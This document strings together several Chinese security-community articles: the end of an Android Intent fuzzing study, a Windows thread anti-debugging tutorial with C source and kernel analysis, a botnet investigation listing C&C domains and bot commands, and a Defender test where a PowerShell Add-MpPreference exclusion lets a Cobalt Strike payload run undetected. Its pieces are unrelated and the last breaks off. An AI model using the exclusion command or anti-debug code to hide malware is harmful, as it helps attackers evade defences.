相应的选择一类app进行fuzz，这里也可以看到alipay app的内部组件的封装隐蔽性做的还是很好的，只侦察到内部少数组件。
可以看到夸克的组件就要略差些，发送序列化intent和空intent都有可能导致夸克app停止运行。
当然我们测试的对象怎么能少了铁路12306呢？可以看到发送的intent甚至可以触发其达到其他的组件显示出的界面，让我比较惊讶的是竟然还有H5测试页面和微信支付测试等界面出现，感觉可能是12306官方app自己为了下次测试省力，而没有删去或者隐蔽好支付等相关的测试组件。
这些是实验的部分截图，但可惜的是IntentFuzzer并没有建立完善的错误处理机制，所以一开始对其分析的时候，只能借助于本地的Android
Studio等其他工具进行栈回溯之类的操作，效率比较低，这里就不贴图了，但这是一个很值得进行扩展的点，需要自己去编写合理的处理机制，或者调用外部工具API来实现错误分析。
## 这里再放一个目标二的研究
选择android
RIL无线接口层的理由：android设备接入网络的底层模块是基带，基带是蜂窝调制解调器制造商使用的固件，用于智能设备连接到蜂窝网络，发送和接收数据，并进行语音通话。而RIL为蜂窝调制解调器提供接口，是Android设备平台中负责移动通信的核心组件。
* RIL简介： 负责移动通信中所有具体的业务，是android中极少数可以直接从外界接触到的代码之一，其攻击面可类比服务器上部署的网络服务，从移动网络发送到android设备的所有数据都会经过设备中的RIL，最好的例子便是短信（sms）的接收处理过程。
智能手机通用架构图：可以看到分为主处理器和蜂窝调制解调器两个子系统
android电话栈图：可分为应用程序，应用程序框架，RIL守护程序和内核级设备驱动四个部分
目标二做到一半停止了，主要原因是做之前没有先进行初步测试，蜂窝调制解调技术早在多年前就已经出现，但是我在新型的4g，5g手机扫描时并没有发现相应的rild进程，或者只有些许，猜测可能是厂商做了更好的封装或者替代？如果要对此拓展的话可能会涉及到各个公司使用的相关协议栈等设计实验。总之，感觉且工程性较大，就暂时搁置了。
## 参考文献
《Android安全攻防权威指南》
<https://developer.android.google.cn/guide/components/intents-filters?hl=zh_cn#java>
<https://developer.android.google.cn/reference/android/content/Intent.html#putExtra(java.lang.String,%20android.os.Parcelable>)
<https://github.com/MindMac/IntentFuzzer>
阅读以及翻译的一些论文可以参考我的博客或者一个大佬建的仓库：
<https://dawuge.github.io/>
<https://github.com/bsauce/Some-Papers-About-Fuzzing>
and 欢迎交流或者带带弟弟。。。。
## 总结
总的来说，时间比较紧迫，大致花了一天半的时间去阅读源码和搭建环境，感觉收获还是挺多的。这里大致说一下自己的一些想法：
首先fuzz这一项技术的考虑，这一次阅读到7 Things to Consider Before Fuzzing a Large Open Source
Project这一篇文章，感觉还是写的还是挺实在的，在fuzz之前需要明确自己的目标，fuzz终究是一项工具，应该将其作为我们加快效率的一种手段，就像神经网络一样，是为了更好的完成任务而去做的。其次，明确需要检测什么样的错误，然后根据错误特征去设计处理机制甚至是种子样本的构建。接下来是确定地分类你需要的fuzz工具类型以，尽可能地寻找现有的工具，去生成新的fuzz工具或者新的fuzz思路，当完成一个阶段后，学会考虑现阶段fuzz工具的价值，具体分析后再去重新编写fuzz模块也好，尝试人工挖掘也行，总之一切为了效率：）
最后，学会学习前辈们的思路，站在巨人的肩膀上可以让你前进的更快。
然后是另一方面的看法，个人认为fuzz本质说到底只是一个为了提高效率的自动化工具，它的前景是可以预估的，可能最终的效果是安全大脑类型的一种智能化漏洞挖掘技术，其根本上的创新性可能没有太多其他的亮点，这是由fuzz这一项技术本身的性质所决定的，但是在达到这个目标之前，我们还是有很长的路要走，当世界甚至万物开始产生更多人为的联系时，fuzz技术可探寻以及运用的领域也在逐渐增多。 | 社区文章 |
# Windows线程保护之调试逃逸源码实现及内核逆向分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
有过Windows下调试和反调试经历的同事可能都遇到过无法调试程序的经历，这其中所涉及的反调试手段非常多，有直接检测当前程序运行环境是否有调试器进程的，原理大抵是遍历进程，比较进程名字；腾讯的一些游戏就是这么干的；或者遍历窗口，看看窗口名字或者窗口类名字是否是某些调试器的；也有间接检测的，比如判断PEB的调试字段，GFLAGS的标志位；与堆相关的调试开关；还有一些诸如调试端口是否为空；还有一些检测当前进程加载的模块是否以D结尾的；等等诸如此类的各种检测手段；那么有没有一种系统原生的“保护方式”，来确保指定的线程无法被调试，或者说实现调试逃逸？答案当然是肯定的。这便是此文需要讲述的内容。
涉及到的知识：
1、反调试常见的手段；
2、内核调试；
3、IDA逆向分析及常规技巧；
4、x64架构下，gs寄存器的用途；
5、异常分发的关键流程及API；
## 1、背景
有时候因为某些原因，必须要调试一些程序，然而这些程序也不是傻白甜，都有一定程度的反调试措施，做破解用的比较多的调试器恐怕要数OD了，国人也为其编写了很多插件，用以实现自动过反调试，如下图所示，掌握常规的反调试技术对于做破解，安全的人来说，其好处是显而易见的；今天就来讲一下另一种系统原生的线程调试逃逸技术，笔者第一次接触这个技术是当时做一个项目，需要逆向某软件，找到它的某些关键数据的来源时，用Windbg
Attach上去之后，发现对某个线程下的断点，断不下来，而其他线程的断点都是没有问题的，后来研究了下，发现了这么个技术，撰写此文，与君分享。
## 2、demo源码演示
### 2.1源码如下
typedef NTSTATUS (NTAPI *NTSETINFORMATIONTHREAD)(IN HANDLE ThreadHandle,IN DWORD ThreadInformationClass,IN PVOID ThreadInformation,IN ULONG ThreadInformationLength);
bool TestThreadHideFromDebugger();
int ExceptionFilter(PEXCEPTION_POINTERS pExceptionPointer);
int main()
{
if(!TestThreadHideFromDebugger())
return -1;
while(1)
{
printf("main thread id:%u\n",GetCurrentThreadId());
Sleep(500);
}
}
DWORD WINAPI MyThreadFun(LPVOID lpThreadParameter)
{
__try
{
while(1)
{
printf("work thread id:%u\n",GetCurrentThreadId());
Sleep(500);
}
}
__except (ExceptionFilter(GetExceptionInformation()))
{
printf("Others\n");
}
return 0;
}
bool TestThreadHideFromDebugger()
{
DWORD dwTid = 0;
HANDLE hThread = CreateThread(NULL,0,MyThreadFun,NULL,CREATE_SUSPENDED,&dwTid);
if(!hThread)
{
printf("Error:%u\n",GetLastError());
return false;
}
HMODULE hModule = GetModuleHandle(TEXT("ntdll.dll"));
NTSETINFORMATIONTHREAD NtSetInformationThread = (NTSETINFORMATIONTHREAD)GetProcAddress(hModule, "NtSetInformationThread");
NTSTATUS status = NtSetInformationThread(hThread, 0x11, 0, 0);//ThreadHideFromDebugger
if(status != 0)
{
printf("Error:%u\n",GetLastError());
return false;
}
ResumeThread(hThread);
return true;
}
int ExceptionFilter(PEXCEPTION_POINTERS pExceptionPointer)
{
if(pExceptionPointer->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT)
{//这边有很多,诸如EXCEPTION_SINGLE_STEP调试相关的,演示时只处理了int 3的情况
PVOID ExceptionAddress = pExceptionPointer->ExceptionRecord->ExceptionAddress;
printf("Addr:%X\n",ExceptionAddress);
DWORD dwOldProtect = 0;
VirtualProtect(ExceptionAddress,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
*(PBYTE)ExceptionAddress = 0x8B;
MessageBox(NULL,NULL,NULL,NULL);
return EXCEPTION_CONTINUE_EXECUTION;
}
else
{
return EXCEPTION_CONTINUE_SEARCH;
}
}
简单说明下上边的代码的作用：
1、TestThreadHideFromDebugger()这个函数内以挂起的方式创建了一个线程，
创建完后，调用NtSetInformationThread()来修改线程的“ThreadHideFromDebugger”属性，使得线程能够逃出调试器；修改完成后，再恢复线程执行；
2、线程函数MyThreadFun()内同主线程，一个死循环不停的打印当前的线程ID；值得注意的是，工作线程必须套一层 **try**
except，不然进程会直接挂掉；原因也是很清晰的；当触发int
3断点时，CPU将该异常报告给OS，当然报告的方式是通过执行IDT表中相应的异常处理例程了，而后OS内核接管该异常；进过一系列的异常分发，最终到了决定是先交给调试器还是直接交给进程时，内核的异常分发引擎会判断当前线程的ThreadHideFromDebugger属性是否置位了，如果置位的话，正如我们demo中所示的这样，那内核的异常分发引擎直接将次异常抛给进程中对应的线程，CPU的模式从Ring0即切换回Ring3即从内核态切换回用户态；此时用户态的异常分发函数KiUserExceptionDispatcher()接手继续处理，处理的方式也很简单，三步走，第一步便是遍历VEH，没人处理的话，那就进行第二步，接着遍历SEH，也同样没人处理，那就到了UEH了，无他，系统默认的处理方式便是拉起WerFault.exe这个进程，然后挂掉整个进程；其实还有最后一个第三步，那就是VCH，不过这个VCH比较特殊，依赖于“别人”；关于这个异常分发，从CPU到内核再到用户态，以及双击调试时，内核调试引擎的调试数据包与Windbg之间的交互后边会专门撰文讲解，这里大家就先简单了解下就好；回到正题，加了这层
**try**
except就是为了在SEH遍历的过程中，拦截住这个异常，并且进行一些修改，去掉Windbg丢下的断点，这也正是很多软件开发商特别是游戏开发商做保护时用到的技术手段；
简单的分析下，在SEH中我们调用了
VirtualProtect()修改内存属性，改为可读可写可执行，下边紧接着就是将异常发生的地址处的数据改为0x8B，为什么是0x8B下边demo演示时会有讲解；然后返回
EXCEPTION_CONTINUE_EXECUTION，告知内核调试引擎，继续刚刚触发异常的地方执行；
3、主线程中就是一个简单的死循环，不停的打印线程ID，与工作线程中的形成对比，我们做实验时，分别在工作线程和主线程的printf处下断点，看看效果；
### 2.2 演示过程及效果见下图讲解
实验1：
先把TestThreadHideFromDebugger()中设置线程调试逃逸的代码注释掉，看看工作线程是否能够命中断点断下来:
是OK的，下边我们就模拟游戏的做法，来实际感受下这个技术的利用手段；
实验2：
先如图1所示，在这两个地方下断点，当图1的断点命中时，看一下工作线程中printf处断点所对应的地址和字节码，这两个信息我们后边有用；再如图2所示，先屏蔽掉修改内存属性的代码，看看执行效果；如下图图3和图4所示：
如预期，我们在工作线程的printf处下了断点，当程序执行到此处时，调试器并没有接管到该断点异常，相反我们的异常处理try
except接管到了，原因就是我上边讲的；在异常处理中，我们打印出了异常触发即断点指令的代码地址即0x011A1AB8，图3和图4是吻合的，并且我们在异常处理中也弹出了消息框，按照图2的方式，我们没有修改0x011A1AB8处的代码，按理说这里还是int
3，那么我们点完确定按钮，消息框关闭后，CPU又会返回到该出继续执行int
3，这样又会继续到我们的异常处理程序中，消息框又会再次弹出，如此重复，大家可尝试看看效果；
实验2：
将图2中注释掉的代码恢复回来，如下图所示：
此时，消息框只会弹一次，因为后续CPU再回去继续执行时，代码已经不是int3所对应的0xCC了，而是被我们复原了，那CPU再次执行时，当然不会再次报告异常；这便是很多软件中反调试用到的技术手段的全部内容，当然游戏里边反调试用这个方法的更多，特别是韩国的游戏保护；
## 3、OS实现该调试逃逸的原理逆向分析
### 3.1、用户态逆向分析NtSetInformationThread()的内部动作
如上图所示，NtSetInformationThread()内部啥也没干，直接进了内核，只不过进内核时，会判断下用那种方式进，当前架构下有很多种进内核的方式，比如调用门，中断门，陷阱门，。。。Windows系统早先用的是陷阱门，索引号为0x2E，即IDT表中的0x2E号；后来intel为了提升模式切换的性能，搞了个快速调用，即syscall指令；这个有兴趣的可以去了解下；有一个比较重要的是，0x7FFE0308这个是直接写死的额，看着是全局变量，那这个全局变量指向的数据结构是什么呢？
如下，这块内存是Ring3和Ring0共享的，Ring3只读权限，Ring0可读可写；两个虚拟地址空间映射到同一个物理页上，很简单，搞一下页表即可；这个页剩下的地址空间可以做很多事情，大家可以尝试想想；
0:012> dt _KUSER_SHARED_DATA
ntdll!_KUSER_SHARED_DATA
+0x000 TickCountLowDeprecated : Uint4B
+0x004 TickCountMultiplier : Uint4B
+0x008 InterruptTime : _KSYSTEM_TIME
+0x014 SystemTime : _KSYSTEM_TIME
+0x020 TimeZoneBias : _KSYSTEM_TIME
+0x02c ImageNumberLow : Uint2B
+0x02e ImageNumberHigh : Uint2B
+0x030 NtSystemRoot : [260] Wchar
+0x238 MaxStackTraceDepth : Uint4B
+0x23c CryptoExponent : Uint4B
+0x240 TimeZoneId : Uint4B
+0x244 LargePageMinimum : Uint4B
+0x248 AitSamplingValue : Uint4B
+0x24c AppCompatFlag : Uint4B
+0x250 RNGSeedVersion : Uint8B
+0x258 GlobalValidationRunlevel : Uint4B
+0x25c TimeZoneBiasStamp : Int4B
+0x260 NtBuildNumber : Uint4B
+0x264 NtProductType : _NT_PRODUCT_TYPE
+0x268 ProductTypeIsValid : UChar
+0x269 Reserved0 : [1] UChar
+0x26a NativeProcessorArchitecture : Uint2B
+0x26c NtMajorVersion : Uint4B
+0x270 NtMinorVersion : Uint4B
+0x274 ProcessorFeatures : [64] UChar
+0x2b4 Reserved1 : Uint4B
+0x2b8 Reserved3 : Uint4B
+0x2bc TimeSlip : Uint4B
+0x2c0 AlternativeArchitecture : _ALTERNATIVE_ARCHITECTURE_TYPE
+0x2c4 BootId : Uint4B
+0x2c8 SystemExpirationDate : _LARGE_INTEGER
+0x2d0 SuiteMask : Uint4B
+0x2d4 KdDebuggerEnabled : UChar
+0x2d5 MitigationPolicies : UChar
+0x2d5 NXSupportPolicy : Pos 0, 2 Bits
+0x2d5 SEHValidationPolicy : Pos 2, 2 Bits
+0x2d5 CurDirDevicesSkippedForDlls : Pos 4, 2 Bits
+0x2d5 Reserved : Pos 6, 2 Bits
+0x2d6 Reserved6 : [2] UChar
+0x2d8 ActiveConsoleId : Uint4B
+0x2dc DismountCount : Uint4B
+0x2e0 ComPlusPackage : Uint4B
+0x2e4 LastSystemRITEventTickCount : Uint4B
+0x2e8 NumberOfPhysicalPages : Uint4B
+0x2ec SafeBootMode : UChar
+0x2ed VirtualizationFlags : UChar
+0x2ee Reserved12 : [2] UChar
+0x2f0 SharedDataFlags : Uint4B
+0x2f0 DbgErrorPortPresent : Pos 0, 1 Bit
+0x2f0 DbgElevationEnabled : Pos 1, 1 Bit
+0x2f0 DbgVirtEnabled : Pos 2, 1 Bit
+0x2f0 DbgInstallerDetectEnabled : Pos 3, 1 Bit
+0x2f0 DbgLkgEnabled : Pos 4, 1 Bit
+0x2f0 DbgDynProcessorEnabled : Pos 5, 1 Bit
+0x2f0 DbgConsoleBrokerEnabled : Pos 6, 1 Bit
+0x2f0 DbgSecureBootEnabled : Pos 7, 1 Bit
+0x2f0 DbgMultiSessionSku : Pos 8, 1 Bit
+0x2f0 DbgMultiUsersInSessionSku : Pos 9, 1 Bit
+0x2f0 DbgStateSeparationEnabled : Pos 10, 1 Bit
+0x2f0 SpareBits : Pos 11, 21 Bits
+0x2f4 DataFlagsPad : [1] Uint4B
+0x2f8 TestRetInstruction : Uint8B
+0x300 QpcFrequency : Int8B
+0x308 SystemCall : Uint4B
+0x30c SystemCallPad0 : Uint4B
+0x310 SystemCallPad : [2] Uint8B
+0x320 TickCount : _KSYSTEM_TIME
+0x320 TickCountQuad : Uint8B
+0x320 ReservedTickCountOverlay : [3] Uint4B
+0x32c TickCountPad : [1] Uint4B
+0x330 Cookie : Uint4B
+0x334 CookiePad : [1] Uint4B
+0x338 ConsoleSessionForegroundProcessId : Int8B
+0x340 TimeUpdateLock : Uint8B
+0x348 BaselineSystemTimeQpc : Uint8B
+0x350 BaselineInterruptTimeQpc : Uint8B
+0x358 QpcSystemTimeIncrement : Uint8B
+0x360 QpcInterruptTimeIncrement : Uint8B
+0x368 QpcSystemTimeIncrementShift : UChar
+0x369 QpcInterruptTimeIncrementShift : UChar
+0x36a UnparkedProcessorCount : Uint2B
+0x36c EnclaveFeatureMask : [4] Uint4B
+0x37c TelemetryCoverageRound : Uint4B
+0x380 UserModeGlobalLogger : [16] Uint2B
+0x3a0 ImageFileExecutionOptions : Uint4B
+0x3a4 LangGenerationCount : Uint4B
+0x3a8 Reserved4 : Uint8B
+0x3b0 InterruptTimeBias : Uint8B
+0x3b8 QpcBias : Uint8B
+0x3c0 ActiveProcessorCount : Uint4B
+0x3c4 ActiveGroupCount : UChar
+0x3c5 Reserved9 : UChar
+0x3c6 QpcData : Uint2B
+0x3c6 QpcBypassEnabled : UChar
+0x3c7 QpcShift : UChar
+0x3c8 TimeZoneBiasEffectiveStart : _LARGE_INTEGER
+0x3d0 TimeZoneBiasEffectiveEnd : _LARGE_INTEGER
+0x3d8 XState : _XSTATE_CONFIGURATION
比较有意思的一些字段如TimeZoneId、KdDebuggerEnabled、DbgSecureBootEnabled、SystemCall、ImageFileExecutionOptions等等
### 3.2、内核态逆向分析NtSetInformationThread()的内部动作
说明下，我这里分析的是基于Win10
16299版本的ntoskrnl.exe这份文件；这个函数比较大，从IDA给出来的数据看，有一千多行，分几次截图，给出关键的代码数据进行分析；
函数的原型如上所示，函数实现关键部分如下图所示：
上边的代码简单解释下，代码中根据ThreadInformationClass对其做了简单的归类，根据我们传入的ThreadHideFromDebugger对应的数据是0x11，会执行go
LABEL_5;到了这个标签这，会顺序执行，最终来到第245行，按着这个if比较往下走，最终会来到下图所示的部分：
由上图所示，先一个if判断，判断传入的参数ThreadInformationLength是否为0，如果不是则直接返回错误，且错误码为0xC0000004，在全面的demo中，知道该参数传入的确实为0；紧接着下边调用ObpReferenceObjectByHandleWithTag()根据现场的句柄找到线程对象；通过第三个参数返回，即Thread；紧接着调用了InterlockedOr()，这个API是实现原子或操作的；但IDA给出的伪代码不太好，字段解析的有问题，我们看下反汇编代码，如下：
下边我们需要看下ETHREAD的0x6D0偏移处的字段是什么，直接用Windbg双机调试看下是最快的如下：
原来是设置的这个地方的HideFromDebugger位置，将其位置1；OK；NtSetInformationThread()的分析还差最后一步；即返回，如下图：
就直接返回了，简单明了；
### 3.3、OS在异常分发时，又是如何利用此数据的
想要知道如何使用的，最简单的办法就是在刚在这个位置，针对特定的线程下内存访问断点，直接命中就能通过栈回溯来找到；这个就留给大家自己去完成了；我们下边直接分析；张银奎老师那本《软件调试》书上有专门针对异常分析的具体讲解，核心的API有这么一个DbgkForwardException()；下面我们来逆向分析下这个API；
但是IDA反汇编的不好，为什么这么说呢？内核里几乎很少会用到TEB的东西，因为TEB里有的数据ETHREAD中都有，此外，这里访问TEB时也没加_try
_except，所以这里反汇编出来的伪代码很不好，我们直接看反汇编代码更为清晰，汇编代码如下：
有一些辅助知识，需要说明下，在x64架构的内核里，gs寄存器保存的是KPCR的基地址，KPCR是内核里，操作系统为每个CPU核维护的一份数据结构；该结构如下：
KPRCB作为KPCR的拓展字段，里边记录的数据更多，很多字段也都是非常常用的；其中有三个非常重要的字段：
+0x008 CurrentThread : Ptr64 _KTHREAD：指向当前CPU正在执行的代码所属的线程的线程对象，即当前被调度到的线程对象；
+0x010 NextThread : Ptr64 _KTHREAD： 指向下一次调度时，需要调度的线程对象；
+0x018 IdleThread : Ptr64
_KTHREAD：指向当没有线程可调度时，可被调度的线程对象，这个线程一般做一些清理动作，比如清理内存，整理内存的那几个链表等等；优先级非常低；
看看上边的这个偏移，大概你也应该猜测到了吧，
mov rax, gs:188h
mov ecx, [rax+6D0h]
test cl, 4
jnz short loc_14044BDE0
这个指令就是获取的CurrentThread，然后取的偏移0x6D0处的数据；而这个0x6D0在上边也已经就分析过了，恰为_KTHREAD.HideFromDebugger；喔喔，异常分发函数DbgkForwardException()在分发异常时，查看了这个数据；如果这里置位了的话，那么逻辑就如下图所示了：
直接返回了，也就意味了不发送给调试器了，这就是线程调试逃逸的全部原理了；
## 4、总结
在本文中，自己编码实现了线程调试逃逸，学会运用这里技术手段；详细讲解了实现的技术细节，特别的讲解了为什么需要加一层try
except；而后我们由通过逆向手段来详细分析了OS是如何实现这一技术的，并且详细分析了在CPU触发报告异常到OS接管异常进行异常分发时是如何利用此数据达到对调试器隐藏线程异常的；特别的还拓展介绍了gs寄存器在x64架构下，内核是如何使用的；涉及到了KPCR，KPRCB等等关键数据结构；至此，整个技术点全部剖析完毕。 | 社区文章 |
作者：金山云安珀实验室
从2017年中“永恒之蓝”勒索病毒席卷全球，到2018年初的“英特尔CPU漏洞事件”大爆发，近年来，随着网络技术水平的不断提升，以“云物移大智”等为代表的新兴技术得到广泛应用，新产业新模式层出不穷，带来了全新的商业化图景，但随之而来的日益严重的信息安全问题，也让人们对网络安全愈发关注与重视。
近日，金山云安珀实验室成功破获一起利用大规模僵尸网络进行大流量DDoS攻击的有组织活动，经深入调查后发现，该组织掌握的肉鸡最多高达75万台，通过层层加密隐匿攻击源头，在幕后对企业、机构发动针对性的大规模DDoS攻击，进而谋取不正当利益。
安珀实验室监控到网络流量突发异常后，第一时间进行分析排查，确定异常流量来自某几台被控制的云主机，正在在对外发起大流量的DDoS攻击，深入调查后发现，这些云主机属于某僵尸网络控制的肉鸡，最后顺藤摸瓜，成功追踪到攻击源。下面详细介绍分析过程。
#### 1\. 入侵分析
首先，根据事发主机的流量特征，在金山云分布式蜜网平台中找到了被植入同一木马的系统，然后提取了蜜罐中发起DDoS攻击的木马程序，名称为libudev.so。并通过流量监控，获得了该木马连接的C&C控制端IP：203.12.
_._ 。
随后从该样本中提取出三个C&C控制端服务器的域名：
baidu.gd***.com
pcdown.gd***.com
soft8.gd***.com
其中一个域名`pcdown.gd***.com`没有解析记录，可以判断是备用域名。另外两个域名解析到某一台香港服务器上，IP正是前文提到的C&C控制端IP：203.12.
_._ 。
通过搜索根域名`gd***.com`的威胁情报数据，发现该根域名注册于2015年，域名拥有者对该域名的Whois信息进行了隐匿。通过对历史数据的查询，找到一个早期注册该域名的邮箱：`145612****@***.com`
#### 2\. 身份溯源
通过技术手段，拿到了C&C控制端机器（简称c1）的登入日志，综合分析后判定c1为入侵者本人使用，而不是肉鸡。从日志来源IP可以看到，入侵者有一定反侦察意识，利用了至少一层跳板主机企图隐藏自己的真实IP，跳板主机IP为45.32.
_._ （简称为v1），归属地为日本。
同时，我们发现这台主机还会向另一台机器发起RDP连接，IP为203.12. _._
（简称为w1）。通过分析w1的登录日志，我们发现攻击者会在此机器中进行大量的入侵准备和记录等操作，因此我们判断v1为攻击者使用的最后一层跳板。此服务器归属于日本的VPS运营商vultr，vultr在国内的付款是通过支付宝，信用卡等实名进行的。
我们继续分析w1的日志，发现如下其他来源机器的信息：
s1、119.81.*.* 客户端名称：MS7
s2、203.12.*.* 客户端名称：WIN-3PLKM2PLE6E
s3、36.250.*.* 客户端名称：zhao**deMacBook
推断名字为`zhao**`的人属于该黑产团伙的一员。
通过对s3的检测，发现它开放如下服务：
这是一个测试下载服务器的站点，截图中可以发现`8***.com`这个域名，通过搜索威胁情报，此域名是一个钓鱼欺诈域名。我们找到名字为`wang**`的人，他的邮箱为`27473****@***.com`。从邮箱相关信息判断，此人从事黑产的可能性较大。
下图为此域名历史解析过的IP地址，结合之前我们分析的信息，可以判断出这个团伙所在地为福建的可能性比较大。
结合上述线索，可以对团伙人员身份进行交叉定位。由于涉及信息敏感，此处不再深入介绍。
#### 3\. 僵尸网络探查
通过技术手段，我们掌握了该团伙历史上所有控制的肉鸡IP列表，共有75万之多
此外，我们还获得了黑客的控制端程序，其客户端配置界面如下：
上图是其木马生成器，可以配置DNS、C&C域名、配置文件地址等。可以看到，C&C地址以及版本号与当前被捕获的样本类似。黑客可以在服务器端批量管理所有当前活跃的肉鸡，并可查询其IP地址、版本、硬件架构、处理器、时间戳、带宽等信息。
#### 4\. 样本分析
样本运行后，首先通过readlink来获取当前样本的运行路径。样本内置了一个特定的解密算法，所有的加解密均采用该算法完成，算法逻辑如下：
char * encrypt_code(char * input, int length)
{
char * xorkeys = "BB2FA36AAA9541F0";
char * begin = input;
for(int i = 0; i < length; i++)
{
*input++ ^= xorkeys[i %16];
}
return begin;
}
通过上述解密算法，解密出样本的配置信息，及C&C服务器上的配置文件路径。解密后得到配置文件路径：`http://pcdown.gd***.com:85/cfg.rar`，该文件在分析时已无法访问。
之后通过fork子进程，调用setsid函数，切换到系统根目录等方式，样本创建了一个守护进程。接下来判断运行时参数，如果传入参数个数为2，则删除自身，同时运行传入的第2个参数，猜测此处或为样本更新逻辑。
当运行时参数个数不为3时，在之前解密出的系统路径下复制自身，可选路径有/usr/bin, /bin, /tmp,
并通过在样本尾部添加11个随机字符的方式，使自身的hash值每次都不同，用于对抗检查hash值这一类的扫描。
样本自身还携带了一个rootkit模块，能够对文件、端口等进行隐藏，给安全人员的手工排查带来一定的困难。样本运行时会将该模块加载到系统内核，一旦加载完成，就将该模块文件从磁盘删除。
下图代码是尝试将自身作为服务写入到系统启动目录下，使样本每次能随着系统自启动。
接下来样本会解密出远程服务器地址，之间用|符号进行分隔。其中unk_80B324C处解出的地址列表为:
`soft8.gd***.com:3802|113.10.*.*:3802|baidu.gd***.com:3802`
之后，调用rootkit模块功能， 隐藏当前进程所分配的端口号。
样本最终创建了3个线程， 来分别执行不同的任务。
Daemon_get_kill_process线程在一个循环中持续从服务器端下载配置文件，
如果下载失败，就休眠1800秒，下载成功后，解密配置文件，然后将内容保存在kill_cfg变量中。
Kill_process线程在一个循环中持续监听服务器端下发的配置文件kill_cfg是否已经下载成功，一旦下载完成，会读取每一行的内容，根据内置的参数决定对某个特定的文件名及对应进程进行删除和终止。
Tcp_thread线程首先向c&c服务器发送肉鸡的硬件及软件信息，包括设备类型、设备版本、一段32个字节的随机字符串组成的设备id、固定的字符串”STATIC”、当前bot的版本号2.0.1、
内存使用情况、cpu频率、当前网速，以及当前设备上的rootkit的安装情况等信息，这些信息在加密后被发送到服务器端。
然后，根据服务器的返回数据，首先计算crc值进行校验，通过后对命令进行解码，进入exec_packet控制流程。
控制流程目前包含了6个控制码，分别为：
1. 停止攻击
2. 创建多个线程发起攻击
3. 下载文件并执行
4. 更新bot样本
5. 发送系统信息到指定服务器
6. 下载新的配置文件
#### 5\. 结语
本次事件由网关的一次突发流量异常引起，成功发现了黑客使用的控制服务器，最终掌握了一个数十万肉鸡规模的僵尸网络，通过及时进行追踪防护，有效避免了损失的发生。
【关于金山云安珀实验室】
实验室专注于安全技术的研究与探索，涉猎领域包括僵尸网络的探究、病毒木马的分析、漏洞的利用与防御技术、安全事件的跟踪分析等。安珀实验室已深入多个流行的僵尸网络家族，成功完成了多例溯源分析，并与公安部门合作联合打击网络黑产，通过紧密协同业界最新安全动态，将研究成果发布出来与业界共享，为构建安全健康的网络环境而努力。
* * * | 社区文章 |
# 前言
不是啥技术文
不是研究免杀！只是测试排除项，还有一些踩的坑和自己的思考
由于看见最近又看见了一篇利用启动项`Bypass Windows Defender`的文章，很是好奇（居然还可以？）遂来做下测试；感谢师傅们提出来的思路；
# 基本环境
* Os：Windows Server 2016
* Defender Version
# 测试内容
1. 本机利用Windows自带的排除项是否能进行免杀
2. 本地利用Powershell操作Defender进行添加排除项测试
3. WebShell情况下利用Windows自带的排除项测试
4. WebShell情况下利用PowerShell操作Defender进行添加排除项测试
5. System情况下利用PowerShell操作Defender加排除项会不会对用户有效
利用PowerShell操作Defender的思路是群里一位师傅提出来的好思路
## 本机利用Windows自带的排除项是否能进行免杀
这个的思路也是我六月的时候看见的，参考：<https://mp.weixin.qq.com/s/lyiPgBClGw2qvIwSJo3boA>
路径 用途
%systemroot%\System32\dfsr.exe 文件复制服务
%systemroot%\System32\dfsrs.exe 文件复制服务
%systemroot%\System32\Vmms.exe HyperV虚拟机管理
%systemroot%\System32\Vmwp.exe HyperV虚拟机管理
%systemroot%\System32\ntfrs.exe ADDS相关支持
%systemroot%\System32\lsass.exe ADDS相关支持
%systemroot%\System32\dns.exe DNS服务
%SystemRoot%\system32\inetsrv\w3wp.exe WEB服务
%SystemRoot%\SysWOW64\inetsrv\w3wp.exe WEB服务
%SystemDrive%\PHP5433\phpcgi.exe phpcgi服务
可以看下微软的文章
<https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus?view=o365-worldwide#list-of-automatic-exclusions>
就以%SystemDrive%\PHP5433\php-cgi.exe，为例，也就是C:\盘下的PHP5433目录的php-cgi.exe
我直接拿cs默认生成的木马放到桌面来做测试会不会被杀
直接就没了
然后创建所需目录，wget下载
然后重新另存为php-cgi.exe到上面这个目录上
静态目前没有被杀，去尝试一下运行
但是... ，微软好像做了检验了(后来发现我想多了，不是校验的问题，是wget的问题)
再试试别的排除项文件，
根本就不行，本来想直接测试下一项了
突然发现是-o的问题应该
利用wget -o的东西会变的特别小 我直接从Server那里改名 然后wget，照样不行
这里就正常被杀掉了
最近某个文章是咋测试成功的 我很迷了就，这几天就更新了吗 我擦
## WebShell情况下利用Windows自带的排除项测试
我觉得也是不可以的 ，但是以防万一我还是尝试下了
> 看见右下角就知道 直接没了
## 本地利用Powershell操作操作Defender进行添加排除项测试
这里就提到了那个师傅的思路了，感谢师傅的思路 令俺学到了新东西
利用powershell添加排除项
`powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\test"`
就是把c:\test这个目录加入了排除项
一点问题么有，查看排除项也确实加入了，测试运行上线
## WebShell情况下利用PowerShell操作Defender进行添加排除项测试
获取webshell后 添加排除项，是administrator权限
然后去Defender设置那里 查看下排除项，已经成功添加
然后尝试 运行这个exe
**所以目前测试 利用系统自带的排除项Defender该查杀还是会查杀的；用`Add-MpPreference`方法能正常规避Defender的查杀**
当晚测试完睡觉的时候就在想， **System权限要是添加排除项 会不会对正常用户有影响**
，但是我第二天睡醒就把这件事忘了。。还是Jumbo师傅提了这么一嘴我才想起来
## System情况下利用PowerShell操作Defender加排除项会不会对用户有效
我用system权限起了个简易的webshell环境进行测试
`powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath
"C:\muxue"`
然后我新建了个用户查看 Defender的排除项
(administrator)
(test - 普通用户)
但是没法查看Defender设置 我就尝试在c:\muxue这个目录下尝试运行木马
非排除项目录直接杀了
尝试放在muxue目录下，运行
没有被杀
也就是拿到管理员用户就可以舒服了，重要的还得是权限问题
## 总结
利用PowerShell操作Defender的方法 添加排除项是可以的，只要权限够就可以
像现在利用Windows Defender自带的排除项 是不行的了，但是最近某些文章如何做到的我也不知道如何做到的(没更新Defender？)；
准备着重看下这些关于操作Denferder的内容
<https://docs.microsoft.com/en-us/powershell/module/defender/?view=windowsserver2019-ps> | 社区文章 |
# 简介
RW Any Memory的全称是Read and write any memory,
